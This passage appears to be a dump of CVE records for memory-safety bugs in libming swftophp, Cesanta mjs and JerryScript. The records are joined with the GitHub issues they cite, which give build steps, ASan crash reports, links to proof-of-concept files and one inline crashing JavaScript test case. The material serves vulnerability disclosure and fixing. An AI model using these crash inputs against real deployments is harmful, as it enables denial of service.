#1 0x5022e5 in newVar_N /root/compiler1804/libming-ming-0_4_8/util/decompile.c:654:11
#2 0x4fbe07 in decompileNEWOBJECT /root/compiler1804/libming-ming-0_4_8/util/decompile.c:1588:7
#3 0x4fab64 in decompileAction /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3190:3
#4 0x501b27 in decompileActions /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3401:6
#5 0x503b31 in decompile5Action /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3423:2
#6 0x4f7865 in outputSWF_DOACTION /root/compiler1804/libming-ming-0_4_8/util/outputscript.c:1548:29
#7 0x4f72ac in outputBlock /root/compiler1804/libming-ming-0_4_8/util/outputscript.c:2079:4
#8 0x4f9d21 in readMovie /root/compiler1804/libming-ming-0_4_8/util/main.c:277:4
#9 0x4f984d in main /root/compiler1804/libming-ming-0_4_8/util/main.c:350:2
#10 0x7fe2276bdc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#11 0x41b8d9 in _start (/root/compiler1804/libming-ming-0_4_8/obj-bc/bin/swftophp_asan+0x41b8d9)
0x619000001880 is located 0 bytes to the right of 1024-byte region [0x619000001480,0x619000001880)
allocated by thread T0 here:
#0 0x4ae288 in realloc /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:164
#1 0x502330 in newVar_N /root/compiler1804/libming-ming-0_4_8/util/decompile.c:657:18
#2 0x4fbe07 in decompileNEWOBJECT /root/compiler1804/libming-ming-0_4_8/util/decompile.c:1588:7
#3 0x4fab64 in decompileAction /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3190:3
#4 0x501b27 in decompileActions /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3401:6
#5 0x503b31 in decompile5Action /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3423:2
#6 0x4f7865 in outputSWF_DOACTION /root/compiler1804/libming-ming-0_4_8/util/outputscript.c:1548:29
#7 0x4f72ac in outputBlock /root/compiler1804/libming-ming-0_4_8/util/outputscript.c:2079:4
#8 0x4f9d21 in readMovie /root/compiler1804/libming-ming-0_4_8/util/main.c:277:4
#9 0x4f984d in main /root/compiler1804/libming-ming-0_4_8/util/main.c:350:2
#10 0x7fe2276bdc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/LLVM/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:372 in __interceptor_strlen.part.36
Shadow bytes around the buggy address:
0x0c327fff82c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff82d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff82e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff82f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c327fff8310:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==60490==ABORTING
``` | Heap buffer overflow in newVar_N() at decompile.c:654 | https://api.github.com/repos/libming/libming/issues/266/comments | 0 | 2023-03-21T06:45:54Z | 2023-03-21T06:45:54Z | https://github.com/libming/libming/issues/266 | 1,633,318,454 | 266 |
CVE-2023-30084 | 2023-05-09T16:15:14.423 | An issue found in libming swftophp v.0.4.8 allows a local attacker to cause a denial of service via the stackVal function in util/decompile.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/libming/libming/issues/268"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libming:libming:0.4.8:*:*:*:*:*:*:*",
"matchCriteriaId": "DD92BC79-2548-4C6F-9BDD-26C12BDF68AC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/libming/libming/issues/268 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"libming",
"libming"
] | Invalid memory read in the latest version of libming at function stackVal in util/decompile.c:1238.
## Environment
Ubuntu 18.04, 64 bit
libming 0.4.8
## Steps to reproduce
1. download file
```
wget https://github.com/libming/libming/archive/refs/tags/ming-0_4_8.tar.gz
tar -zxvf ming-0_4_8.tar.gz
```
2. compile libming with ASAN
```
cd libming-ming-0_4_8
./autogen.sh
export FORCE_UNSAFE_CONFIGURE=1
export LLVM_COMPILER=clang
CC=wllvm CXX=wllvm++ CFLAGS="-g -O0 -fcommon -Wno-error" ./configure --prefix=`pwd`/obj-bc --with-php-config=/usr/bin/php-config7.2 --enable-static --disable-shared
make
make install
cd obj-bc/bin/
extract-bc swftophp
clang -fsanitize=address -lz -lm swftophp.bc -o swftophp_asan
```
3. command for reproducing the error
```
./swftophp_asan poc
```
Download poc: [libming_0-4-8_swftophp_invalid-memory-read_decompile1238.zip](https://github.com/libming/libming/files/11025547/libming_0-4-8_swftophp_invalid-memory-read_decompile1238.zip)
## ASAN report
```
root@2413df779df0:~/compiler1804/libming-ming-0_4_8/obj-bc/bin# ./swftophp_asan libming_0-4-8_swftophp_invalid-memory-read_decompile1238.swf
header indicates a filesize of 4278191411 but filesize is 166
<?php
$m = new SWFMovie();
ming_setscale(1.0);
/* Note: using v5+ syntax for script blocks (original SWF file version was 4)! */
$m->setRate(64.855469);
$m->setDimension(66, 327);
/* Note: xMin and/or yMin are not 0! */
$m->setFrames(7440);
Stream out of sync after parse of blocktype 24 (SWF_PROTECT). 124 but expecting 58.
/* SWF_PROTECT */
$m->protect("\tJ�A�\n�=�b��h"�BAH���CU���!�����М{/��R���z��W:�6$QSՖ�;owf�0]x�\r�������\)���
��Qp(#}�m�\_");
Stream out of sync after parse of blocktype 9 (SWF_SETBACKGROUNDCOLOR). 63 but expecting 119.
/* SWF_SETBACKGROUNDCOLOR */
$m->setBackground(0x2f, 0xed, 0xd1);
Stream out of sync after parse of blocktype 11 (SWF_DEFINETEXT). 165 but expecting 125.
/* SWF_DEFINETEXT */
$character24412 = new SWFText(1);
$character24412->setFont($f392);
$character24412->setHeight(30910);
$character24412->setColor(0x79, 0x9d, 0xb2);
$character24412->moveTo(0, -15327);
$character24412->addString("X");
Failed to find branch target!!!
Looking for: -28887
Stream out of sync after parse of blocktype 12 (SWF_DOACTION). 138 but expecting 134.
/* SWF_DOACTION */
AddressSanitizer:DEADLYSIGNAL
=================================================================
==60499==ERROR: AddressSanitizer: SEGV on unknown address 0x601fffffffb0 (pc 0x000000502876 bp 0x7ffe6a2faa50 sp 0x7ffe6a2faa50 T0)
==60499==The signal is caused by a READ memory access.
#0 0x502876 in stackVal /root/compiler1804/libming-ming-0_4_8/util/decompile.c:1238:41
#1 0x4fe03d in decompileIF /root/compiler1804/libming-ming-0_4_8/util/decompile.c:2395:7
#2 0x4facdc in decompileAction /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3242:10
#3 0x501b27 in decompileActions /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3401:6
#4 0x503b31 in decompile5Action /root/compiler1804/libming-ming-0_4_8/util/decompile.c:3423:2
#5 0x4f7865 in outputSWF_DOACTION /root/compiler1804/libming-ming-0_4_8/util/outputscript.c:1548:29
#6 0x4f72ac in outputBlock /root/compiler1804/libming-ming-0_4_8/util/outputscript.c:2079:4
#7 0x4f9d21 in readMovie /root/compiler1804/libming-ming-0_4_8/util/main.c:277:4
#8 0x4f984d in main /root/compiler1804/libming-ming-0_4_8/util/main.c:350:2
#9 0x7f6f2645dc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#10 0x41b8d9 in _start (/root/compiler1804/libming-ming-0_4_8/obj-bc/bin/swftophp_asan+0x41b8d9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/compiler1804/libming-ming-0_4_8/util/decompile.c:1238:41 in stackVal
==60499==ABORTING
``` | Invalid memory read in stackVal() at decompile.c:1238 | https://api.github.com/repos/libming/libming/issues/268/comments | 0 | 2023-03-21T06:53:51Z | 2023-03-21T06:53:51Z | https://github.com/libming/libming/issues/268 | 1,633,325,057 | 268 |
CVE-2023-30085 | 2023-05-09T16:15:14.470 | Buffer Overflow vulnerability found in Libming swftophp v.0.4.8 allows a local attacker to cause a denial of service via the cws2fws function in util/decompile.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/libming/libming/issues/267"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libming:libming:0.4.8:*:*:*:*:*:*:*",
"matchCriteriaId": "DD92BC79-2548-4C6F-9BDD-26C12BDF68AC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/libming/libming/issues/267 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"libming",
"libming"
] | Allocation size overflow in the latest version of libming at function cws2fws in util/main.c:111.
## Environment
Ubuntu 18.04, 64 bit
libming 0.4.8
## Steps to reproduce
1. download file
```
wget https://github.com/libming/libming/archive/refs/tags/ming-0_4_8.tar.gz
tar -zxvf ming-0_4_8.tar.gz
```
2. compile libming with ASAN
```
cd libming-ming-0_4_8
./autogen.sh
export FORCE_UNSAFE_CONFIGURE=1
export LLVM_COMPILER=clang
CC=wllvm CXX=wllvm++ CFLAGS="-g -O0 -fcommon -Wno-error" ./configure --prefix=`pwd`/obj-bc --with-php-config=/usr/bin/php-config7.2 --enable-static --disable-shared
make
make install
cd obj-bc/bin/
extract-bc swftophp
clang -fsanitize=address -lz -lm swftophp.bc -o swftophp_asan
```
3. command for reproducing the error
```
./swftophp_asan poc
```
Download poc:
[libming_0-4-8_swftophp_allocation-size-overflow_main111.zip](https://github.com/libming/libming/files/11025537/libming_0-4-8_swftophp_allocation-size-overflow_main111.zip)
## ASAN report
```
root@2413df779df0:~/compiler1804/libming-ming-0_4_8/obj-bc/bin# ./swftophp_asan libming_0-4-8_swftophp_allocation-size-overflow_main111.swf
=================================================================
==60493==ERROR: AddressSanitizer: requested allocation size 0xffffffffff000533 (0xffffffffff001538 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
#0 0x4ae288 in realloc /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:164
#1 0x4f9334 in cws2fws /root/compiler1804/libming-ming-0_4_8/util/main.c:111:15
#2 0x4f99dd in readMovieHeader /root/compiler1804/libming-ming-0_4_8/util/main.c:198:18
#3 0x4f97ee in main /root/compiler1804/libming-ming-0_4_8/util/main.c:346:5
#4 0x7f6a64b67c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
==60493==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:164 in realloc
==60493==ABORTING
```
| Allocation size overflow in cws2fws() at main.c:111 | https://api.github.com/repos/libming/libming/issues/267/comments | 0 | 2023-03-21T06:50:17Z | 2023-03-21T06:50:17Z | https://github.com/libming/libming/issues/267 | 1,633,322,109 | 267 |
CVE-2023-30087 | 2023-05-09T16:15:14.547 | Buffer Overflow vulnerability found in Cesanta MJS v.1.26 allows a local attacker to cause a denial of service via the mjs_mk_string function in mjs.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/cesanta/mjs/issues/244"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:cesanta:mjs:1.26:*:*:*:*:*:*:*",
"matchCriteriaId": "25C97820-C80A-41CE-B510-F292D2AF665E",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/cesanta/mjs/issues/244 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"cesanta",
"mjs"
] | Heap buffer overflow in mjs at function mjs_mk_string in mjs.c:13671.
## Environment
Ubuntu 18.04, 64 bit
## Steps to reproduce
1. download file
```
git clone https://github.com/cesanta/mjs.git mjs
cd mjs
git checkout 9eae0e6
```
2. compile libming with ASAN
```
clang -fsanitize=address mjs.c -o mjs_asan
```
3. command for reproducing the error
```
./mjs_asan -f poc
```
Download poc:
[mjs_heap-buffer-overflow_mjs13671.zip](https://github.com/cesanta/mjs/files/11038286/mjs_heap-buffer-overflow_mjs13671.zip)
## ASAN report
```
> ./mjs_asan -f mjs_heap-buffer-overflow_mjs13671
=================================================================
==23460==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60800000007d at pc 0x00000046b929 bp 0x7fff87d05cd0 sp 0x7fff87d05480
READ of size 94 at 0x60800000007d thread T0
#0 0x46b928 in __interceptor_strlen.part.0 /home/fzz/Desktop/STFGFuzz/LLVM/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:372:5
#1 0x510fbf in mjs_mk_string /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:13671:35
#2 0x5328d2 in frozen_cb /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:11870:13
#3 0x5162ac in parse_string /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:5884:9
#4 0x51597c in parse_value /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:5970:7
#5 0x516bb3 in parse_array /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:5936:9
#6 0x515a94 in parse_value /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:5976:7
#7 0x503145 in doit /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:6058:10
#8 0x50077b in json_walk /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:6434:3
#9 0x532618 in mjs_json_parse /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:11963:14
#10 0x50a501 in mjs_op_json_parse /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:12012:5
#11 0x50e248 in mjs_execute /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:9541:11
#12 0x50c4ce in mjs_exec_internal /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:9758:5
#13 0x50c610 in mjs_exec_file /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:9781:11
#14 0x50fe4f in main /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:12051:13
#15 0x7f5460494082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41c3cd in _start (/home/fzz/Desktop/STFGFuzz/Programs/mjs-issues-78/seeds_crash/mjs_asan+0x41c3cd)
0x60800000007d is located 0 bytes to the right of 93-byte region [0x608000000020,0x60800000007d)
allocated by thread T0 here:
#0 0x4c1f3f in malloc /home/fzz/Desktop/STFGFuzz/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x53287b in frozen_cb /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:11868:36
#2 0x5162ac in parse_string /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:5884:9
#3 0x51597c in parse_value /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:5970:7
#4 0x516bb3 in parse_array /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:5936:9
#5 0x515a94 in parse_value /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:5976:7
#6 0x503145 in doit /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:6058:10
#7 0x50077b in json_walk /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:6434:3
#8 0x532618 in mjs_json_parse /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:11963:14
#9 0x50a501 in mjs_op_json_parse /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:12012:5
#10 0x50e248 in mjs_execute /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:9541:11
#11 0x50c4ce in mjs_exec_internal /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:9758:5
#12 0x50c610 in mjs_exec_file /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:9781:11
#13 0x50fe4f in main /root/compiler1804/aflgo_dataset/mjs-issues-78/mjs.c:12051:13
#14 0x7f5460494082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fzz/Desktop/STFGFuzz/LLVM/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:372:5 in __interceptor_strlen.part.0
Shadow bytes around the buggy address:
0x0c107fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c107fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00[05]
0x0c107fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==23460==ABORTING
``` | Heap buffer overflow in mjs_mk_string() at mjs.c:13671 | https://api.github.com/repos/cesanta/mjs/issues/244/comments | 0 | 2023-03-22T09:15:39Z | 2023-03-22T09:15:39Z | https://github.com/cesanta/mjs/issues/244 | 1,635,358,781 | 244 |
CVE-2023-30088 | 2023-05-09T16:15:14.583 | An issue found in Cesanta MJS v.1.26 allows a local attacker to cause a denial of service via the mjs_execute function in mjs.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/cesanta/mjs/issues/243"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:cesanta:mjs:1.26:*:*:*:*:*:*:*",
"matchCriteriaId": "25C97820-C80A-41CE-B510-F292D2AF665E",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/cesanta/mjs/issues/243 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"cesanta",
"mjs"
] | Invalid memory read in mjs at function mjs_execute in mjs.c:9320.
## Environment
Ubuntu 18.04, 64 bit
## Steps to reproduce
1. download file
```
git clone https://github.com/cesanta/mjs.git mjs
cd mjs
git checkout d6c06a6
```
2. compile libming with ASAN
```
clang -fsanitize=address mjs.c -o mjs_asan
```
3. command for reproducing the error
```
./mjs_asan -f poc
```
Download poc:
[mjs_invalid-memory-read_mjs9320.zip](https://github.com/cesanta/mjs/files/11038279/mjs_invalid-memory-read_mjs9320.zip)
## ASAN report
```
> ./mjs_asan -f mjs_invalid-memory-read_mjs9320
AddressSanitizer:DEADLYSIGNAL
=================================================================
==23749==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000050e0d0 bp 0x7ffdec19de70 sp 0x7ffdec19dcb0 T0)
==23749==The signal is caused by a WRITE memory access.
==23749==Hint: address points to the zero page.
#0 0x50e0d0 in mjs_execute /root/compiler1804/aflgo_dataset/mjs-issues-57/mjs.c:9320:46
#1 0x50c2ce in mjs_exec_internal /root/compiler1804/aflgo_dataset/mjs-issues-57/mjs.c:9503:5
#2 0x50c410 in mjs_exec_file /root/compiler1804/aflgo_dataset/mjs-issues-57/mjs.c:9526:11
#3 0x50f8df in main /root/compiler1804/aflgo_dataset/mjs-issues-57/mjs.c:11783:13
#4 0x7fe50601e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41c3cd in _start (/home/fzz/Desktop/STFGFuzz/Programs/mjs-issues-57/seeds_crash/mjs_asan+0x41c3cd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/compiler1804/aflgo_dataset/mjs-issues-57/mjs.c:9320:46 in mjs_execute
==23749==ABORTING
``` | Invalid memory read in mjs_execute() at mjs.c:9320 | https://api.github.com/repos/cesanta/mjs/issues/243/comments | 1 | 2023-03-22T09:15:01Z | 2023-05-15T14:19:13Z | https://github.com/cesanta/mjs/issues/243 | 1,635,357,898 | 243 |
CVE-2023-31906 | 2023-05-10T15:15:10.187 | Jerryscript 3.0.0(commit 1a2c047) was discovered to contain a heap-buffer-overflow via the component lexer_compare_identifier_to_chars at /jerry-core/parser/js/js-lexer.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5066"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5066 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/1a2c04763aba49f52b1537acd3730098c873511c
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
```javascript
// poc1.js
class C {#static async''
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc1.js
=================================================================
==3572149==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5500959 at pc 0x0839f1a4 bp 0xffbc0428 sp 0xffbc0420
READ of size 1 at 0xf5500959 thread T0
#0 0x839f1a3 in lexer_compare_identifier_to_chars jerryscript/jerry-core/parser/js/js-lexer.c:3297:9
#1 0x839f4c1 in lexer_compare_identifiers jerryscript/jerry-core/parser/js/js-lexer.c
#2 0x83b5a37 in parser_check_duplicated_private_field jerryscript/jerry-core/parser/js/js-parser-expr.c:416:9
#3 0x83a2c8c in parser_parse_class_body jerryscript/jerry-core/parser/js/js-parser-expr.c:701:9
#4 0x83a2c8c in parser_parse_class jerryscript/jerry-core/parser/js/js-parser-expr.c:1110:27
#5 0x83c9958 in parser_parse_statements jerryscript/jerry-core/parser/js/js-parser-statm.c:2787:9
#6 0x8284a25 in parser_parse_source jerryscript/jerry-core/parser/js/js-parser.c:2280:5
#7 0x8282c6f in parser_parse_script jerryscript/jerry-core/parser/js/js-parser.c:3326:38
#8 0x8129a7c in jerry_parse_common jerryscript/jerry-core/api/jerryscript.c:412:21
#9 0x8129697 in jerry_parse jerryscript/jerry-core/api/jerryscript.c:480:10
#10 0x83ea951 in jerryx_source_parse_script jerryscript/jerry-ext/util/sources.c:52:26
#11 0x83eac11 in jerryx_source_exec_script jerryscript/jerry-ext/util/sources.c:63:26
#12 0x812162c in main jerryscript/jerry-main/main-desktop.c:156:20
#13 0xf7bf3ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
#14 0x8078645 in _start (jerryscript/build/bin/jerry+0x8078645)
0xf5500959 is located 0 bytes to the right of 25-byte region [0xf5500940,0xf5500959)
allocated by thread T0 here:
#0 0x80efe65 in malloc (jerryscript/build/bin/jerry+0x80efe65)
#1 0x83ec157 in jerry_port_source_read jerryscript/jerry-port/common/jerry-port-fs.c:72:45
#2 0x83ea7ce in jerryx_source_parse_script jerryscript/jerry-ext/util/sources.c:33:28
#3 0x83eac11 in jerryx_source_exec_script jerryscript/jerry-ext/util/sources.c:63:26
#4 0x812162c in main jerryscript/jerry-main/main-desktop.c:156:20
#5 0xf7bf3ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
SUMMARY: AddressSanitizer: heap-buffer-overflow jerryscript/jerry-core/parser/js/js-lexer.c:3297:9 in lexer_compare_identifier_to_chars
Shadow bytes around the buggy address:
